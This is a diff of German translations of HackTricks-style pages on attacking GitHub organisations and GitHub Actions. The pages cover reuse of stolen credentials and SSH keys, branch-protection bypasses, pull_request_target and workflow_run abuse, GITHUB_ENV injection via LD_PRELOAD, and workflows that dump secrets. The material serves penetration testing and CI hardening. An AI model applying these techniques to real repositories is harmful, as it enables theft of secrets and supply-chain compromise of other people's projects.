 - _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
@@ -105,11 +105,11 @@ _Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Infor

 ## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen

-Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben.
+Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein Github-Konto erhalten haben.

 ### Mit Benutzeranmeldeinformationen

-Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Enterprise- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**.
+Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, wenn Sie ein einfaches Mitglied sind, überprüfen Sie, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**.

 Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.

@@ -128,9 +128,9 @@ Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in de
 # Get repo config and current user name and email
 git config --list
 ```
-Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<github_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
+Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<github_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der gefundene private Schlüssel verwendet werden kann.

-**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
+**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In der Regel gibt die lokale Datei **`~/.ssh/config`** auf einem Server mit verschiedenen Deploy-Schlüsseln Informationen darüber, welcher Schlüssel zugeordnet ist.

 #### GPG-Schlüssel

@@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long

 Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).

-Ein Benutzer-Token kann **anstatt eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.
+Ein Benutzer-Token kann **anstelle eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.

 Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`

@@ -152,7 +152,7 @@ Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`

 Für eine Einführung über [**Github Oauth-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#oauth-applications).

-Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren.
+Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.

 Dies sind die [Scopes, die eine Oauth-Anwendung anfordern kann](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Man sollte immer die angeforderten Scopes überprüfen, bevor man sie akzeptiert.

@@ -162,13 +162,13 @@ Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Orga

 Für eine Einführung über [**Github-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#github-applications).

-Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren.
+Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.

 Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.

-## Kompromittierung & Missbrauch von Github Action
+## Kompromittierung & Missbrauch von Github-Aktionen

-Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
+Es gibt mehrere Techniken, um eine Github-Aktion zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:

 {{#ref}}
 abusing-github-actions/
@@ -176,25 +176,25 @@ abusing-github-actions/

 ## Umgehung des Branch-Schutzes

- **Erforderliche Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass ein Benutzer normalerweise seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen.
- **Überprüfungen von Code-Eigentümern anfordern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen.
- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen.
+- **Erfordere eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github-Aktionsumgebung** im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
+- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
+- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht eingestellt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und ihn in den geschützten Branch zusammenführen.
+- **Erfordere Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github-Aktion erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
+- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber es wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
+- **Erlaube bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen.
+- **Administratoren einbeziehen**: Wenn dies nicht eingestellt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen.
 - **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, indem Sie bösartigen Code hinzufügen, die resultierende PR selbst genehmigen und alles zusammenführen.
 - **Entfernen von Branch-Schutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
 - **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenführen) in Branches zu senden (der Branch-Schutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**.
+- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github-Aktion erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github-Aktion ausführen**.

 ## Umgehung von Umgebungs-Schutzmaßnahmen

 Für eine Einführung über [**Github-Umgebungen siehe die grundlegenden Informationen**](basic-github-information.md#git-environments).

-Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie auf Repos stoßen könnten, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern).
+Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github-Aktion erstellen (oder eine vorhandene ändern).

-Beachten Sie, dass Sie auf den Grenzfall stoßen könnten, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**.
+Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github-Aktion ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github-Aktion ausgelöst wird**.
 ```yaml
 push: # Run it when a push is made to a branch
 branches:
@@ -206,8 +206,8 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf

 - Generieren Sie **Benutzertoken**
 - Stehlen Sie **Github-Tokens** aus **Secrets**
- **Löschung** von Workflow-**Ergebnissen** und **Branches**
- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation**
+- **Löschen** von Workflow-**Ergebnissen** und **Branches**
+- Geben Sie **mehr Berechtigungen für die gesamte Organisation**
 - Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren
 - Laden Sie **außenstehende Mitarbeiter** ein
 - **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden
@@ -216,7 +216,7 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf

 ### Imposter Commits - Hintertür über Repo-Commits

-In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, das nicht vom Eigentümer des Repos erstellt wurde**.
+In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, der nicht vom Eigentümer des Repos erstellt wurde**.

 Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
 ```yaml
@@ -1,4 +1,4 @@
-# Abusing Github Actions
+# Missbrauch von Github Actions

 {{#include ../../../banners/hacktricks-training.md}}

@@ -6,24 +6,24 @@

 Auf dieser Seite finden Sie:

- Eine **Zusammenfassung aller Auswirkungen**, wenn es einem Angreifer gelingt, auf eine Github Action zuzugreifen
+- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer Zugriff auf eine Github Action erhält
 - Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**:
 - Berechtigungen zum Erstellen der Action haben
 - Missbrauch von **Pull-Request**-bezogenen Triggern
 - Missbrauch von **anderen externen Zugriffstechniken**
 - **Pivoting** von einem bereits kompromittierten Repo
- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (um die genannten Auswirkungen zu verursachen)
+- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (wegen der genannten Auswirkungen)

 ## Zusammenfassung der Auswirkungen

-Für eine Einführung über [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
+Für eine Einführung zu [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).

 Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein:

- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline zu missbrauchen**, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
+- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
 - **Deployments** und andere **Artefakte** zu kompromittieren.
 - Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivotieren.
+- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren.
 - **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.

 ## GITHUB_TOKEN
@@ -35,7 +35,7 @@ Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ gith
 Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)

 > [!WARNING]
-> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
+> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **den Zugriff über Repositories hinweg** innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.

 Sie können die möglichen **Berechtigungen** dieses Tokens hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)

@@ -81,11 +81,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}

 > [!CAUTION]
-> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen oder in den Geheimnissen von Github Actions** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
+> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen von Github Actions oder in den Secrets** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.

 <details>

-<summary>Geheimnisse im Github Action-Ausgang auflisten</summary>
+<summary>Liste der Secrets im Github Action-Ausgang</summary>
 ```yaml
 name: list_env
 on:
@@ -151,9 +151,9 @@ Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Git

 ### Ausführung aus einem neuen Branch

-Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Repository- und Organisationsebene Geheimnisse exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
+Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Geheimnisse auf Repository- und Organisationsebene exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).

-Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten):
+Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes hochgeladen werden** (je nachdem, wie auffällig Sie sein möchten):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -170,11 +170,11 @@ branches:
 ## Forked Execution

 > [!NOTE]
-> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
+> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** auszuführen. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.

 ### `pull_request`

-Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
+Der Workflow-Trigger **`pull_request`** wird jedes Mal ausgeführt, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** die **Ausführung** des Workflows **genehmigen**:

 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>

@@ -183,9 +183,9 @@ Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen,
 >
 > **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~

-Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
+Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** auf das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:

-> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.
+> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow von einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.

 Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.

@@ -198,10 +198,10 @@ Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsw

 Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis).

-Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext **ausgeführt wird** (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
 Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).

-Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der in der **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
+Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der im **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.

 Und dieser hat **Zugriff auf Geheimnisse**.

@@ -217,20 +217,20 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, according to the docs: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow nicht**.
+Darüber hinaus, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow dies nicht konnte**.

 Diese Art von Workflow könnte angegriffen werden, wenn sie **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
-Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die ihn **anfällig für RCE** macht.
+Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist.

 ### `workflow_call`

 TODO

-TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der vom Ursprung oder vom geforkten PR ist
+TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der von der Quelle oder vom geforkten PR stammt

 ## Missbrauch von geforkter Ausführung

-Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
+Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:

 ### Nicht vertrauenswürdige Checkout-Ausführung

@@ -276,17 +276,17 @@ Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder

 ### Kontext-Skript-Injektionen <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>

-Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
+Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte von dem **Benutzer** kontrolliert werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:

 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}

-### **GITHUB_ENV-Skript-Injektion** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Skript-Injektion** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>

-Aus den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
+Laut den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.

-Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
+Wenn ein Angreifer **irgendeinen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.

 Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:

@@ -349,7 +349,7 @@ Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Z
 > [!CAUTION]
 > Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.

-Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine vollständigere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)

 ---

@@ -358,17 +358,17 @@ Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet
 > [!NOTE]
